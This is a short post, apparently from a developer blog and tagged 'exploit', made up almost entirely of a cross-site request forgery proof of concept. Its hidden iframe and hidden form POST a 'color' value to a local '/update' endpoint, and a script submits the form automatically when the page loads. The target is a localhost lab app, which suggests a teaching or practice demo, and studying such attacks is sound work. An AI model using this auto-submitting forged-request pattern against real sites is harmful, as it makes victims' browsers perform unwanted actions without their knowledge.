<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://localhost:5000/update' target="csrf-frame" id="csrf-form">
<input type='hidden' name='color' value='Hackzord!'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
BelowTheRoot
Posted on
exploit
For further actions, you may consider blocking this person and/or reporting abuse
Top comments (0)